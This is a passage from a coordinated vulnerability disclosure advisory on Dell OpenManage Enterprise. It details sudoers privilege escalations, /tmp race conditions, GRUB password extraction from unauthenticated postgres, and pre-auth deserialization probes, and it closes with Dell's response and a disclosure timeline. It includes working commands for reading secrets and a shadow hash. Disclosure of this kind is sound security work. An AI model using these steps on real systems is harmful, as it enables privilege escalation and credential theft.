DHAqjsvpfUh+aRZKLTa6+K+rmHBtcPafoyuIMPTqV3hTUbGTb08ZzZSkF4GYgbPQ
    \.



## Details - Weak permissions on SSL/TLS Key

The TLS key has weak permissions:

    [root@openmanage-enterprise /]# ls -la /etc/pki/tls/private/localhost.key
    -rw-r--r--. 1 root root 3272 Jul 11  2020 /etc/pki/tls/private/localhost.key

No SELinux protection - this allows any user to read the files.



## Details - Multiple Local Privilege Escalations from `mcsimetricssvc`

The file `/etc/sudoers.d/94_mcsi_metrics` belongs to `mcsimetricssvc`,
as shown below:

    [root@openmanage-enterprise etc]# ls -la /etc/sudoers.d/94_mcsi_metrics
    -rw-rw-r--. 1 mcsimetricssvc root 847 Sep 25  2020
/etc/sudoers.d/94_mcsi_metrics

This user can just edit this file to get root access using `sudo`.

It is also possible to directly find this weakness by executing
`sudo`, a warning message will appear:

    [root@openmanage-enterprise ~]# sudo id
    sudo: /etc/sudoers.d/94_mcsi_metrics is owned by uid 1005, should be 0
    uid=0(root) gid=0(root) groups=0(root)

This LPE was silently patched in version 3.6.1.

Futhermore, this user has these (large) sudo privileges:

    %mcsimetricssvc ALL=NOPASSWD:/usr/bin/mount, /usr/bin/cp,
/usr/bin/umount,
/usr/bin/gpg,/opt/dell/mcsi/appliance/scripts/pam/config_user_access.sh,/opt/dell/mcsi/appliance/scripts/port_validation.sh,/opt/dell/mcsi/appliance/scripts/change_timezone.py,/opt/dell/mcsi/appliance/scripts/restore_application.py,/opt/dell/mcsi/appliance/scripts/certificate_tool.py,/opt/dell/mcsi/appliance/scripts/change_hostname.py,/opt/dell/mcsi/appliance/scripts/address_configuration.py,/opt/dell/mcsi/appliance/scripts/current_network_settings.py,
/usr/bin/lscpu,/usr/bin/free,/opt/dell/mcsi/appliance/scripts/ntp_tool.py,/opt/dell/mcsi/appliance/scripts/dump_logs.py,/opt/dell/mcsi/appliance/scripts/change_webconfig.py,/opt/dell/mcsi/appliance/scripts/branding.py,/usr/bin/systemctl,/usr/bin/date,/usr/bin/ntpstat,/usr/sbin/ntpq,/usr/bin/python,/usr/sbin/ntpdc

At least `/usr/bin/mount`, `/usr/bin/cp`, `/usr/bin/gpg`,
`/usr/bin/systemctl` and `/usr/bin/python` can be used to elevate to
root.



## Details - Multiple Local Privilege Escalations from group `mcsitasksvc`

Users belonging to group `mcsitasksvc` can sudo:

    %mcsitasksvc ALL=NOPASSWD:/usr/bin/mount, /usr/bin/cp,
/usr/bin/umount,
/usr/bin/gpg,/opt/dell/mcsi/appliance/scripts/pam/config_user_access.sh,/opt/dell/mcsi/appliance/scripts/port_validation.sh,/opt/dell/mcsi/appliance/scripts/change_timezone.py,/opt/dell/mcsi/appliance/scripts/restore_application.py,/opt/dell/mcsi/appliance/scripts/certificate_tool.py,/opt/dell/mcsi/appliance/scripts/change_hostname.py,/opt/dell/mcsi/appliance/scripts/address_configuration.py,/opt/dell/mcsi/appliance/scripts/virtual_ip_configuration.py,/opt/dell/mcsi/appliance/scripts/current_network_settings.py,
/usr/bin/lscpu,/usr/bin/free,/opt/dell/mcsi/appliance/scripts/ntp_tool.py,/opt/dell/mcsi/appliance/scripts/dump_logs.py,/opt/dell/mcsi/appliance/scripts/change_webconfig.py,/opt/dell/mcsi/appliance/scripts/branding.py,/usr/bin/systemctl,/usr/bin/date,/usr/bin/ntpstat,/usr/sbin/ntpq,/usr/bin/python3,/usr/sbin/ntpdc,/opt/dell/mcsi/appliance/scripts/configureSSHDTimeout.sh,/opt/dell/mcsi/appliance/scripts/resolve.sh,/usr/bin/nmcli
    %mcsitasksvc
ALL=NOPASSWD:/opt/dell/omc/utilities/cifsconfiguration/bin/reset_cifs_password.sh,
/opt/dell/omc/utilities/cifsconfiguration/bin/test_cifs_config.sh,
/usr/bin/smbpasswd, /usr/bin/systemctl

At least `/usr/bin/mount`, `/usr/bin/cp`, `/usr/bin/gpg`,
`/usr/bin/systemctl` and `/usr/bin/python3` can be used to elevate to
root.



## Details - Multiple Local Privilege Escalations from group `tomcat`

Users belonging to group `tomcat` can sudo:

    %tomcat ALL=NOPASSWD:/opt/dell/mcsi/appliance/scripts/ntp_tool.py,/opt/dell/mcsi/appliance/scripts/rsyslog_tool.py,/opt/dell/mcsi/appliance/scripts/change_timezone.py,/opt/dell/mcsi/appliance/scripts/certificate_tool.py,/opt/dell/mcsi/appliance/scripts/change_hostname.py,/opt/dell/mcsi/appliance/scripts/login_iprange.py,/opt/dell/mcsi/appliance/scripts/address_configuration.py,/opt/dell/mcsi/appliance/scripts/current_network_settings.py,/opt/dell/mcsi/appliance/scripts/restore_application.py,/opt/dell/mcsi/appliance/scripts/dump_logs.py,/usr/bin/python3,/opt/dell/mcsi/appliance/scripts/branding.py,/opt/dell/mcsi/appliance/scripts/commandexecutor.sh,/opt/dell/mcsi/appliance/scripts/resolve.sh,/opt/dell/mcsi/appliance/scripts/port_validation.sh,/usr/bin/systemctl,/opt/dell/mcsi/appliance/scripts/change_webconfig.py,/opt/dell/mcsi/appliance/scripts/sysloglogging.py,/usr/bin/date,/usr/bin/ntpstat,/usr/sbin/ntpq,/usr/sbin/ntpdc,/opt/dell/mcsi/appliance/scripts/chassis_nw_settings.py,/
 opt/dell/mcsi/appliance/scripts/virtual_ip_configuration.py
    %tomcat ALL=NOPASSWD:/usr/bin/mount, /usr/bin/cp, /usr/bin/umount,
/var/consoleupdate/unzip_uploadedfile.py

At least `/usr/bin/python3`, `/usr/bin/systemctl`, `/usr/bin/mount`
and `/usr/bin/cp`  can be used to elevate to root.



## Details - Local Privilege Escalation from group `omctui`

Users belonging to group `omctui` can sudo:

    %omctui ALL=NOPASSWD:/usr/bin/systemctl,/usr/sbin/shutdown,/usr/bin/localectl

`/usr/bin/systemctl` can be used to elevate to root.



## Details - Multiple TOCTOUs in "security_tool.sh" shell script

`/opt/dell/mcsi/appliance/scripts/security_tool.sh` contains multiple TOCTOUs:

    [root@openmanage-enterprise /]# cat
/opt/dell/mcsi/appliance/scripts/security_tool.sh
    [...]
    456 function turnOffRequireRetty
    457 {
    458     echo "turning off RequireRetty"
    459
    460     # make it so the requiretty is commented out.
    461     sed 's/Defaults    requiretty/#Defaults    requiretty/'
/etc/sudoers > /tmp/sudoers.bk
    462     mv /tmp/sudoers.bk /etc/sudoers
    463     chmod 0440 /etc/sudoers
    464 }

In line 461, no check is done on `/tmp/sudoers.bk` - so the file may
already exist with attacker's rights.
Race condition in line 462 - an attacker previously controlling
`/tmp/sudoers.bk` will overwrite `/etc/sudoers`
with its own policies, resulting in a privilege escalation.

This race condition is now located in line 168 in version 3.6.1.

And here:

    505     local targets="/usr/bin/python3"
    506     targets="${targets},${THIS_DIR}/change_admin_password.sh"
    507     targets="${targets},/usr/sbin/passwd"
    508     targets="${targets},${THIS_DIR}/change_timezone.py"
    509     targets="${targets},${THIS_DIR}/certificate_tool.py"
    510
    511     # remove existing tomcat permissions from the sudoesrs file
    512      sed 's/%admin ALL=NOPASSWD:.*$//' /etc/sudoers > /tmp/sudoers.bk
    513     mv /tmp/sudoers.bk /etc/sudoers
    514     chmod 0440 /etc/sudoers
    515
    516      # add new tomcat permissions to the sudoers file
    517      echo "%admin ALL=NOPASSWD:${targets}" >> /etc/sudoers


Race condition in line 513 - an attacker controlling `/tmp/sudoers.bk`
will overwrite `/etc/sudoers`
with its own policies, resulting in a privilege escalation.

This race condition is now located in line 220 in version 3.6.1.



## Details - Incorrect access for tomcat

The script `security_tool.sh` contains interesting settings for the
tomcat user, in the function `configureShadowAccess`:

    [root@openmanage-enterprise /]# cat
/opt/dell/mcsi/appliance/scripts/security_tool.sh
    [...]
    466 # this allows rest/shiro to authenticate admin user from
tomcat using the pam database
    467 function configureShadowAccess
    468 {
    469     if ! $(ls -la /etc/shadow | grep -q shadow-readers); then
    470         echo "configuring shadow access"
    471         groupadd shadow-readers
    472         usermod -a -G shadow-readers tomcat               <--
tomcat added to group `shadow-readers`
    473         chown root:shadow-readers /etc/shadow             <--
non-standard permissions for /etc/shadow
    474         chmod 640 /etc/shadow
    475         service systemd-logind restart
    476     else
    477         echo "shadow access already configured"
    478     fi
    479 }

This will allow the `tomcat` user to read the `/etc/shadow` file.

This function is not called in version 3.5 and 3.6.1 but may have been
used before:

    573 function configureAccounts
    574 {
    575     #configureShadowAccess

This function is located in line 174 in version 3.6.1.



## Details - Grub password stored in postgres, without authentication
for local user

The grub password is located in the file `/etc/grub.d/40_custom`.

This file is generated by
`/opt/dell/mcsi/appliance/scripts/set_grub_password.sh`:


    [...]
    12   pwd="$(/usr/bin/psql -qtAX -U core_admin -d enterprisedb -c
'select guid from core.application_info')"
    [...]
    28       sed -i "s/password root.*/password root $pwd/g"
/etc/grub.d/40_custom
    29       /usr/sbin/grub2-mkconfig -o /boot/grub2/grub.cfg
    30       echo GRUB password is updated
    [...]

Even if `/etc/grub.d/40_custom` is 755, it is impossible to read the
file because `/etc/grub.d` is 700 `root:root`.

    [root@openmanage-enterprise lpe-priv8-3/]# ls -la /etc/grub.d/40_custom
    -rwxr-xr-x. 1 root root 288 May 16 04:07 /etc/grub.d/40_custom
    [root@openmanage-enterprise lpe-priv8-3/]# ls -la /etc/grub.d | grep ' \.$'
    drwx------.  2 root root  4096 Sep 30  2020 .

But it is possible to extract the grub password from the auth-less
local postgres database:

    sh-4.2$ /usr/bin/psql -qtAX -U core_admin -d enterprisedb -c
'select guid from core.application_info'
    09b50d53-189c-221c-7996-1c0ee1279201

The password can be confirmed by reading `/etc/grub.d/40_custom`:

    [root@openmanage-enterprise /]# tail -n 1 /etc/grub.d/40_custom
    password root 09b50d53-189c-221c-7996-1c0ee1279201



## Details - Pre-auth and post-auth Java Deserializations

The solution uses `jackson` and `ObjectMapper` to read
attacker-controlled json inputs.

It appears authentification doesn't really work when sending
attacker-controlled data on API endpoints:

- - sending valid authentication cookies and well-formed json/xml will
result in a 200 ok
- - sending valid authentication cookies and bad-formed json/xml will
result in deserialization errors or jackson parsing errors
- - sending well-formed json/xml without valid authentication cookies
will result in a 400 bad request
- - sending bad-formed json/xml without valid authentication cookies
will result in deserialization errors or jackson parsing errors

The authentication system appears to be broken as it parses
attacker-controlled data before checking the authentication.

Sending correct data will trigger the authentication:

    kali# wget -O- --no-check-certificate --post-data
'{"targets":["1"],"command":"ls","operation":"REMOTE_SSH_EXEC"}'
--header "Content-Type: application/json;charset=utf-8"
https://192.168.1.100/omc/api/Console/RemoteCommandTask
    HTTP request sent, awaiting response... 400 Bad Request
    2021-05-16 12:57:17 ERROR 400: Bad Request.

- From the logs:

    [ERROR] 2021-05-16 12:57:15.158 [ajp-bio-8009-exec-1]
JobsController -
org.springframework.web.client.HttpClientErrorException: 401
Unauthorized

Now, by replacing the targets field, "1" becomes "a", it is possible
to create deserialization errors
while sending incorrect inputs while creating a RemoteCommandTask:

    POST /omc/api/Console/RemoteCommandTask HTTP/1.1
    Host: 192.168.1.100
    Content-Type: application/json;charset=utf-8
    Content-Length: 62

    {"targets":["a"],"command":"ls","operation":"REMOTE_SSH_EXEC"}

Or with `wget`:

    kali# wget -O- --no-check-certificate --post-data
'{"targets":["a"],"command":"ls","operation":"REMOTE_SSH_EXEC"}'
--header "Content-Type: application/json;charset=utf-8"
https://192.168.1.100/omc/api/Console/RemoteCommandTask
    HTTP request sent, awaiting response... 500 Internal Server Error
    2021-05-16 12:58:25 ERROR 500: Internal Server Error.

And from the logs, no more "401 Unauthorized" but some deserialization errors:

- From `/var/log/dell/mcsi/tomcat/application.log`:

    [ERROR] 2021-05-16 12:58:39.554 [ajp-bio-8009-exec-4]
BaseController -
org.springframework.http.converter.HttpMessageNotReadableException:
JSON parse error: Cannot deserialize value of type `java.lang.Integer`
from String "a": not a valid Integer value; nested exception is
com.fasterxml.jackson.databind.exc.InvalidFormatException: Cannot
deserialize value of type `java.lang.Integer` from String "a": not a
valid Integer value
     at [Source: (PushbackInputStream); line: 1, column: 13] (through
reference chain:
com.dell.enterprise.model.omc.RemoteCommandTask["targets"]->java.util.ArrayList[0])
    org.springframework.http.converter.HttpMessageNotReadableException:
JSON parse error: Cannot deserialize value of type `java.lang.Integer`
from String "a": not a valid Integer value; nested exception is
com.fasterxml.jackson.databind.exc.InvalidFormatException: Cannot
deserialize value of type `java.lang.Integer` from String "a": not a
valid Integer value
     at [Source: (PushbackInputStream); line: 1, column: 13] (through
reference chain:
com.dell.enterprise.model.omc.RemoteCommandTask["targets"]->java.util.ArrayList[0])
     [100s of lines]

So it appears this input is deserialized before the authentication
process is done.

We saw this behavior - deserialization or checking of validity of JSON
using jackson without authentication -
in several web forms present in the solution, accepting JSON or XML,
mainly before any authentication.

After some tests, we found 1 form that apparently checks the authentication,
but it is still possible to generate deserialization errors (post-auth):

    POST /core/api/Console/oidc/checkRegistration HTTP/1.1
    Host: 192.168.1.100
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0)
Gecko/20100101 Firefox/78.0
    Accept: application/json, text/plain, */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/json;charset=utf-8
    X-Requested-With: managementConsole
    Content-Length: 24
    Origin: https://192.168.1.100
    Connection: close
    Referer: https://192.168.1.100/core/console/console.html
    Cookie: X-Auth-Token=f544973e-4c0e-4522-9b8a-a65498ebccfc

    {"oidcServerIds":[a1]}

- From `/var/log/dell/mcsi/tomcat/application.log`:

    [ERROR] 2021-05-16 13:12:15.356 [ajp-bio-8009-exec-4]
BaseController -
org.springframework.http.converter.HttpMessageNotReadableException:
JSON parse error: Unrecognized token 'a1': was expecting (JSON String,
Number, Array, Object or token 'null', 'true' or 'false'); nested
exception is com.fasterxml.jackson.databind.JsonMappingException:
Unrecognized token 'a1': was expecting (JSON String, Number, Array,
Object or token 'null', 'true' or 'false')
     at [Source: (PushbackInputStream); line: 1, column: 24] (through
reference chain:
com.dell.enterprise.model.ui.OIDCRegistrationStatusList["oidcServerIds"])
    org.springframework.http.converter.HttpMessageNotReadableException:
JSON parse error: Unrecognized token 'a1': was expecting (JSON String,
Number, Array, Object or token 'null', 'true' or 'false'); nested
exception is com.fasterxml.jackson.databind.JsonMappingException:
Unrecognized token 'a1': was expecting (JSON String, Number, Array,
Object or token 'null', 'true' or 'false')
    [...]
     at Caused by:
com.fasterxml.jackson.databind.JsonMappingException: Unrecognized
token 'a1': was expecting (JSON String, Number, Array, Object or token
'null', 'true' or 'false')
    [...]
      at com.fasterxml.jackson.databind.deser.BeanDeserializerBase.wrapAndThrow(BeanDeserializerBase.java:1714)
~[jackson-databind-2.10.3.jar:2.10.3]
      at com.fasterxml.jackson.databind.deser.BeanDeserializer.deserializeFromObject(BeanDeserializer.java:371)
~[jackson-databind-2.10.3.jar:2.10.3]
      at com.fasterxml.jackson.databind.deser.BeanDeserializer.deserialize(BeanDeserializer.java:159)
~[jackson-databind-2.10.3.jar:2.10.3]
      at com.fasterxml.jackson.databind.ObjectMapper._readMapAndClose(ObjectMapper.java:4218)
~[jackson-databind-2.10.3.jar:2.10.3]
      at com.fasterxml.jackson.databind.ObjectMapper.readValue(ObjectMapper.java:3267)
~[jackson-databind-2.10.3.jar:2.10.3]
      [...]
      at com.fasterxml.jackson.databind.deser.std.CollectionDeserializer.deserialize(CollectionDeserializer.java:277)
~[jackson-databind-2.10.3.jar:2.10.3]
      at com.fasterxml.jackson.databind.deser.std.CollectionDeserializer.deserialize(CollectionDeserializer.java:245)
~[jackson-databind-2.10.3.jar:2.10.3]
      at com.fasterxml.jackson.databind.deser.std.CollectionDeserializer.deserialize(CollectionDeserializer.java:27)
~[jackson-databind-2.10.3.jar:2.10.3]
      at com.fasterxml.jackson.databind.deser.impl.FieldProperty.deserializeAndSet(FieldProperty.java:138)
~[jackson-databind-2.10.3.jar:2.10.3]
      at com.fasterxml.jackson.databind.deser.BeanDeserializer.deserializeFromObject(BeanDeserializer.java:369)
~[jackson-databind-2.10.3.jar:2.10.3]
      at com.fasterxml.jackson.databind.deser.BeanDeserializer.deserialize(BeanDeserializer.java:159)
~[jackson-databind-2.10.3.jar:2.10.3]
      at com.fasterxml.jackson.databind.ObjectMapper._readMapAndClose(ObjectMapper.java:4218)
~[jackson-databind-2.10.3.jar:2.10.3]
      at com.fasterxml.jackson.databind.ObjectMapper.readValue(ObjectMapper.java:3267)
~[jackson-databind-2.10.3.jar:2.10.3]
      at org.springframework.http.converter.json.AbstractJackson2HttpMessageConverter.readJavaType(AbstractJackson2HttpMessageConverter.java:237)
~[spring-web-4.3.28.RELEASE.jar:4.3.28.RELEASE]
      [...]

Due to the lack of interesting java gadgets, we didn't manage to
exploit these deserialization errors.

These pre-auth and post-auth Java deserializations have been silently
patched in version 3.6.1.



## Details - Idrac User

When installing the appliance, an idrac user will be created with a
random password:

    [root@openmanage-enterprise /]# cat /etc/shadow
    [...]
    idrac:$6$QtG/5PHz$1ZW7aSUeLJ6mlQM/sO/g7RLxKNUQrTwksmkJH9/meYkPTlgSvXLrR6CUikYzDg27bvprfm.EgimjX1e3yaxzC1:18763:0:99999:7:::
    [root@openmanage-enterprise /]# cat /etc/passwd
    [...]
    idrac:x:1008:1016::/shared/dell/omc/cifs/idrac:/bin/false

This user may be for samba sharing functionality - we didn't success
to use this functionality
from the management interface - maybe it will be possible to configure
it in the next versions.

Interesting files are:

- - /etc/samba/smb.conf
- - /var/lib/samba/private/passdb.tdb
- - /var/lib/samba/private/secrets.tdb

It is possible to extract configurations with `tdbtool`:
`tdbtool /var/lib/samba/private/secrets.tdb dump` and `tdbtool
/var/lib/samba/private/passdb.tdb dump`



## Researcher comments on Vendor Response

1 point has been considered as a vulnerability by the vendor
("Remote Auth Bypass with 2 pre-auth RCEs in docker instances") because
the attacker is not supposed to get a shell (e.g. with a command injection
or java deserialization) or to access postgres running on the appliance
(via a shell or via the network).

Interestingly, Dell confirmed this vulnerability that is in fact a chain
of multiple "no-impact" vulnerabilities (lack of authentication for postgres,
command execution in redis and in postgres, R/W access to the postgres).

Other issues have not been considered having security impacts.
Dell confirmed postgres does not use authentication and there is no
security impact in a normal situation.

Futhermore, this solution has an history of command injections -
nonetheless the threat model doesn't appear to include command injections
("No shell access or other ingress points available for use.").

2 vulnerabilities have been silently patched by the vendor, one DSA
will be published (java deserialization).



## Vendor Response

The vendor provided an impact assessment and explanations, as shown below:

1. Hardcoded ActiveMQ Credentials -> No impact
ActiveMQ credentials are not used in the appliance. File artifacts
will be removed in a future release and are unused in Dell EMC
OpenManage Enterprise (OME) and Dell EMC OpenManage Enterpise-Modular
(OME-M).
Also, note that the ActiveMQ web console is disabled within OME.  In
addition, as confirmed by the researcher, the firewall blocks incoming
access to the relevant ports (46403 / 61616) and SELinux policies
prevent users from reading these files.

2. Harcdoded ActiveMQ credentials for JMX -> No impact
ActiveMQ JMX configuration is disabled. File artifacts will be removed
in a future release and are unused in OME and OME-M. SELinux policies
prevent regular users from reading the contents of these files.

3. Hardcoded ActiveMQ Keystore + password for keystore file (in
jetty.xml) -> No impact
ActiveMQ keystore is not used in OME/OME-M. These artifacts will be
removed in a future release.
SELinux policies prevent regular user read access.

4. Hardcoded JDBC passwords -> No impact
DB configured to allow access only from localhost. Also, the passwords
indicated by the researcher are not used in OME / OME-M. In addition,
(in OME 3.5 and later) SELinux policies add another layer of read
access protection to the files
with these passwords.

5. Hardcoded passwords for core_admin and replicator -> No impact
DB is configured to only allow access from localhost. The passwords
indicated are not used in OME or OME-M and will be removed in a future
release.

6. KeyStore using hardcoded Key -> No impact
SELinux policies and current mitigation in place prevent file system access.

7. Permissive ACL for Postgres -> No impact
The attack vectors of shell access / ingress via Docker are not
available to users - Docker path shut off in original design of
product.

8. Local Privilege Escalation (as postgres) inside postgres docker -> No impact
The attack vectors of shell access / ingress via Docker are not
available to users - Docker path shut off in original design of
product.

9. Remote Auth Bypass with 2 pre-auth RCEs in docker instances -> Impacted
Remediation available in OME version 3.6.2 and OME-M 1.30.10, more
information in Dell Security Advisory -
DSA-2021-113 (https://www.dell.com/support/kbdoc/000189673)

10. Undocumented `system` account -> No impact
User cannot log in to account.

11. Database key stored in the database -> No impact
Postgres is configured to allow access from internal appliance
services - no security impact

12. Weak permission on SSL/TLS Key -> No impact
No shell access for use in exploitation.
As an additional layer of defense, SELinux policies will be reviewed
and updated in future releases.

13. Multiple Local Privilege Escalations from `mcsimetricssvc` -
partially silently patched in version 3.6.1 -> No impact
No shell access or other ingress points available for use.

14. Multiple Local Privilege Escalations from group `mcsitasksvc` -> No impact
No shell access or other ingress points available for use.

15. Multiple Local Privilege Escalations from group `tomcat` -> No impact
No shell access or other ingress points available for use.

16. Local Privilege Escalation from group `omctui` -> No impact
No shell access or other ingress points available for use.

17. Multiple TOCTOUs in "security_tool.sh" shell script -> No impact
Mitigation in place to block shell access by default.

18. Incorrect access for tomcat -> No impact
Debug level script is not used in OME/OME-M and will be removed in
future releases.

19. Grub password stored in postgres, without authentication for local
user -> No impact
Access to postgres for password is only available to users who already
have hypervisor admin privileges.

20. Pre-auth and post-auth Java Deserializations - silently patched in
version 3.6.1 -> No impact
Found in prior internal security audit - issue mitigated in version
3.6.1, more information in Dell Security Advisory - DSA-2021-113
(https://www.dell.com/support/kbdoc/000189673).

21. Idrac User -> No impact
These are credentials to access an internal CIFS share / not a user
that can log in to OME. The passwords are rotated on a time interval
(not configurable) and handed out by OME to clients who in turn need
access to the internal CIFS share. Binary content that can be
introduced on this share is limited to DUPS which are signed /
signature verified by the iDRAC and other entities prior to flashing.
Non-binary content is the SCP profile that is used to configure
systems. The ability to invoke operations that would access the CIFS
share / use content on it is relegated to authenticated high
privileged OME users (admin / Device Manager roles)



## Report Timeline

* July, 2020: Vulnerabilities found and this advisory was written.
Research took =~ 4 days.
* May 14, 2021: Found an interesting tweet about dbutil_2_3.sys
* May 16, 2021: Verification on version 3.5. New vulnerabilities
found, advisory was rewritten.
* June 26, 2021: Verification on version 3.6.1.
* June 26, 2021: Advisory sent to Dell
* June 28, 2021: Dell attributes PSRC-15668
* Jul 14, 2021: Dell replies it is doing final reviews of their
advisory and ask to coordinate disclosure to July 19
* Jul 16, 2021: Pierre replies confirms July 19 and asks Dell to
confirm the "Vendor Response" text
* Jul 19, 2021: A public advisory is sent to security mailing lists.



## Credits

These vulnerabilities were found by Pierre Kim (@PierreKimSec) and
Alexandre Torres (@AlexTorSec).



## References

https://pierrekim.github.io/advisories/2021-dell-openmanage-enterprise-0x00.txt

https://pierrekim.github.io/blog/2021-07-19-dell-openmanage-enterprise-0day-vulnerabilities.html



## Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: https://creativecommons.org/licenses/by-nc-sa/3.0/
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEoSgI9MSrzxDXWrmCxD4O2n2TLbwFAmD1OmYACgkQxD4O2n2T
Lbw2HA/9FcwRyBfvOZT+8a5kfvY2q0doMkSp4UIBHw5NENSbjRsnOs2VYt/cN+zb
YNw1MD3SWVd0r2c3U2jbAT0REppNDa4m5A83TKsbzunadBnEoJTDpjBp0TXnyJ9c
M0ghSi0EvvjGm0DmjOD9nUsYpJZftJWuVsTqTeuhSyFyvxaMUHUzKiTcZQS1gKiw
+eeseUhlzFilUicz6IUeV7e5zGZ/lKun8viurPXaxyLY29yWmV77tKCBuP16G60R
Z4JS6I5EOiYsupxckLsY1IRsrmQ3P7SymjEygxwWiQpOdRwu8soe+bXYCruEYG8V
ff6i9pNkgvkdLg3Jm9usXDwBj3+vy0zqHC742p+FeUwgPtLLqvY90GDmw7VkdUNF
KUbeVSfzPB7p0xaxGQ+egxyrOIZBHRBIl29vvP7hdeKvGjyo7035x0Xs04n6kaQM
T71m1qSb+LU6Fd5tm8rD2yXe9e6REUI0Xas7sRPP3WWvYyJNStR9v/bURUdg6GtE
kw7w3siyfGCgoQ8Ct1qWz+v9MCj1anmMih5SI2cm/8WUa7Kk3Zgq0F6tqzlhtXM8
52lUZn2g0gZiXiQ34CxEm9jbslbltGVLDDWV6WVzdmpQN/gsWQ6agPCEW/+KPyIj
+ruWritELTnbKdosXfCV0wRxHxEOEIwl9UQEhOan/hFsjsqMDbs=
=rTFH
-----END PGP SIGNATURE-----

-- 
Pierre Kim
pierre.kim.sec@gmail.com
@PierreKimSec
https://pierrekim.github.io/